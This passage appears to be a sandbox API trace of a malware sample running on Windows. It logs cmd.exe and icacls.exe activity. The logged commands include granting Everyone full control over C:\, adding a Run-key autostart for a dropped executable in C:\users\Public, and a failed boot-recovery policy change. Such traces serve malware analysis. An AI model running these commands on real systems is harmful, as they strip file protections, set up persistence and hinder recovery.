	[0247.985] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.985] GetLastError () returned 0x2
	[0247.986] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.986] GetLastError () returned 0x2
	[0247.986] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.986] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.987] GetLastError () returned 0x2
	[0247.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.987] GetLastError () returned 0x2
	[0247.987] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.991] GetLastError () returned 0x2
	[0247.991] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.994] GetLastError () returned 0x2
	[0247.994] GetProcessHeap () returned 0xc0000
	[0247.994] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xe0ca0 | out: hHeap=0xc0000) returned 1
	[0247.994] GetProcessHeap () returned 0xc0000
	[0247.994] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xe4cc0 | out: hHeap=0xc0000) returned 1
	[0247.995] GetProcessHeap () returned 0xc0000
	[0247.995] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcc80 | out: hHeap=0xc0000) returned 1
	[0247.995] GetConsoleOutputCP () returned 0x1b5
	[0247.995] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.995] GetUserDefaultLCID () returned 0x409
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a537b50, cchData=8 | out: lpLCData=":") returned 2
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f9e0, cchData=128 | out: lpLCData="0") returned 2
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f9e0, cchData=128 | out: lpLCData="0") returned 2
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f9e0, cchData=128 | out: lpLCData="1") returned 2
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a54a740, cchData=8 | out: lpLCData="/") returned 2
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a54a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a54a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0247.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a54a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a54a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a54a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a54a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a54a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a537b40, cchData=8 | out: lpLCData=".") returned 2
	[0247.998] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a54a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0247.998] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0247.999] GetProcessHeap () returned 0xc0000
	[0247.999] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x20c) returned 0xdbb70
	[0247.999] GetConsoleTitleW (in: lpConsoleTitle=0xdbb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.000] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0248.000] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0248.000] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0248.000] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0248.000] GetProcessHeap () returned 0xc0000
	[0248.001] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x4012) returned 0xdcc80
	[0248.001] GetProcessHeap () returned 0xc0000
	[0248.001] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcc80 | out: hHeap=0xc0000) returned 1
	[0248.001] GetProcessHeap () returned 0xc0000
	[0248.001] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xb0) returned 0xdbd90
	[0248.001] GetProcessHeap () returned 0xc0000
	[0248.001] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x32) returned 0xd6530
	[0248.002] GetProcessHeap () returned 0xc0000
	[0248.002] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x36) returned 0xd6570
	[0248.002] GetConsoleTitleW (in: lpConsoleTitle=0x30f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.003] GetProcessHeap () returned 0xc0000
	[0248.003] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x218) returned 0xdbe50
	[0248.003] GetProcessHeap () returned 0xc0000
	[0248.003] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x58) returned 0xdc070
	[0248.003] GetProcessHeap () returned 0xc0000
	[0248.003] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x420) returned 0xc1320
	[0248.003] SetErrorMode (uMode=0x0) returned 0x0
	[0248.003] SetErrorMode (uMode=0x1) returned 0x0
	[0248.004] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xc1330, lpFilePart=0x30f180 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f180*="Desktop") returned 0x25
	[0248.004] SetErrorMode (uMode=0x0) returned 0x1
	[0248.004] GetProcessHeap () returned 0xc0000
	[0248.004] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xc1320, Size=0x7e) returned 0xc1320
	[0248.004] GetProcessHeap () returned 0xc0000
	[0248.004] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xc1320) returned 0x7e
	[0248.004] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0248.004] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0248.004] GetProcessHeap () returned 0xc0000
	[0248.004] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x128) returned 0xc13b0
	[0248.004] GetProcessHeap () returned 0xc0000
	[0248.004] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x240) returned 0xc14e0
	[0248.004] GetProcessHeap () returned 0xc0000
	[0248.004] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xc14e0, Size=0x12a) returned 0xc14e0
	[0248.005] GetProcessHeap () returned 0xc0000
	[0248.005] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xc14e0) returned 0x12a
	[0248.005] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0248.005] GetProcessHeap () returned 0xc0000
	[0248.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xe8) returned 0xc1620
	[0248.005] GetProcessHeap () returned 0xc0000
	[0248.005] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xc1620, Size=0x7e) returned 0xc1620
	[0248.005] GetProcessHeap () returned 0xc0000
	[0248.005] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xc1620) returned 0x7e
	[0248.005] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.005] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.006] GetLastError () returned 0x2
	[0248.006] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.006] GetLastError () returned 0x2
	[0248.006] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.007] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.007] GetLastError () returned 0x2
	[0248.007] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.007] GetLastError () returned 0x2
	[0248.008] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.008] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.008] GetLastError () returned 0x2
	[0248.008] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.009] GetLastError () returned 0x2
	[0248.009] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.009] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.009] GetLastError () returned 0x2
	[0248.009] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.009] GetLastError () returned 0x2
	[0248.010] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.010] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.013] GetLastError () returned 0x2
	[0248.013] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x30eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eef0) returned 0xffffffffffffffff
	[0248.016] GetLastError () returned 0x2
	[0248.017] _get_osfhandle (_FileHandle=2) returned 0xb
	[0248.017] GetFileType (hFile=0xb) returned 0x2
	[0248.184] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0248.184] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x30f348 | out: lpMode=0x30f348) returned 1
	[0248.185] _get_osfhandle (_FileHandle=2) returned 0xb
	[0248.185] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x30f380 | out: lpConsoleScreenBufferInfo=0x30f380) returned 1
	[0248.186] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a546340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d
	[0248.187] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a546340, nSize=0x2000, Arguments=0x30f3f0 | out: lpBuffer="'bootstatuspolicy' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x6b
	[0248.187] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a546340*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x30f370, lpReserved=0x0 | out: lpBuffer=0x4a546340*, lpNumberOfCharsWritten=0x30f370*=0x6b) returned 1
	[0248.187] _get_osfhandle (_FileHandle=1) returned 0x7
	[0248.187] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0248.188] _get_osfhandle (_FileHandle=1) returned 0x7
	[0248.188] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0248.188] _get_osfhandle (_FileHandle=0) returned 0x3
	[0248.188] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0248.189] SetConsoleInputExeNameW () returned 0x1
	[0248.189] GetConsoleOutputCP () returned 0x1b5
	[0248.189] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0248.189] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0248.190] exit (_Code=1) 

Process:
	id = "51"
	image_name = "icacls.exe"
	filename = "c:\\windows\\system32\\icacls.exe"
	page_root = "0xa22000"
	os_pid = "0x2b3c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "icacls \"C:\\*\" /grant Everyone:F /T /C /Q"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2400
	os_tid = 0x2b40


Thread:
	id = 2690
	os_tid = 0x6a8


Thread:
	id = 3881
	os_tid = 0x423c


Thread:
	id = 3899
	os_tid = 0x4284


Process:
	id = "52"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x1401000"
	os_pid = "0x2d00"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2512
	os_tid = 0x2d04

	[0246.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fbb0 | out: lpSystemTimeAsFileTime=0x16fbb0*(dwLowDateTime=0x75709540, dwHighDateTime=0x1d5cdef)) 
	[0246.873] GetCurrentProcessId () returned 0x2d00
	[0246.873] GetCurrentThreadId () returned 0x2d04
	[0246.873] GetTickCount () returned 0x1181018
	[0246.873] QueryPerformanceCounter (in: lpPerformanceCount=0x16fbb8 | out: lpPerformanceCount=0x16fbb8*=38843281272) returned 1
	[0246.875] GetModuleHandleW (lpModuleName=0x0) returned 0x4a500000
	[0246.875] __set_app_type (_Type=0x1) 
	[0246.875] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a527810) returned 0x0
	[0246.875] __getmainargs (in: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610, _DoWildCard=0, _StartInfo=0x4a52e0f4 | out: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610) returned 0
	[0246.876] GetCurrentThreadId () returned 0x2d04
	[0246.876] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2d04) returned 0x3c
	[0246.876] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0246.876] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0246.876] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.387] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.387] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fb48 | out: phkResult=0x16fb48*=0x0) returned 0x2
	[0247.387] VirtualQuery (in: lpAddress=0x16fb30, lpBuffer=0x16fab0, dwLength=0x30 | out: lpBuffer=0x16fab0*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.387] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fab0, dwLength=0x30 | out: lpBuffer=0x16fab0*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.387] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fab0, dwLength=0x30 | out: lpBuffer=0x16fab0*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.387] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16fab0, dwLength=0x30 | out: lpBuffer=0x16fab0*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.387] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fab0, dwLength=0x30 | out: lpBuffer=0x16fab0*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.387] GetConsoleOutputCP () returned 0x1b5
	[0247.388] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.388] SetConsoleCtrlHandler (HandlerRoutine=0x4a523184, Add=1) returned 1
	[0247.389] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.389] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0247.389] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.389] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0247.390] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.390] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0247.390] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.390] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0247.391] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.391] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0247.391] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0247.392] GetProcessHeap () returned 0x1d0000
	[0247.392] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xa7c) returned 0x1e9680
	[0247.392] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0247.392] GetProcessHeap () returned 0x1d0000
	[0247.392] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1e8a70
	[0247.392] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0247.392] GetProcessHeap () returned 0x1d0000
	[0247.392] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xa7c) returned 0x1ea110
	[0247.393] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0247.393] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea08 | out: phkResult=0x16ea08*=0x44) returned 0x0
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x18, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x1, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x1, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x0, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x40, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.393] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x40, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x40, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.394] RegCloseKey (hKey=0x44) returned 0x0
	[0247.394] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea08 | out: phkResult=0x16ea08*=0x44) returned 0x0
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x40, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x1, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x1, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x0, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x9, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.394] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x4, lpData=0x16ea20*=0x9, lpcbData=0x16ea04*=0x4) returned 0x0
	[0247.395] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea00, lpData=0x16ea20, lpcbData=0x16ea04*=0x1000 | out: lpType=0x16ea00*=0x0, lpData=0x16ea20*=0x9, lpcbData=0x16ea04*=0x1000) returned 0x2
	[0247.395] RegCloseKey (hKey=0x44) returned 0x0
	[0247.395] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6eb
	[0247.395] srand (_Seed=0x5e22e6eb) 
	[0247.395] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64"
	[0247.395] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64"
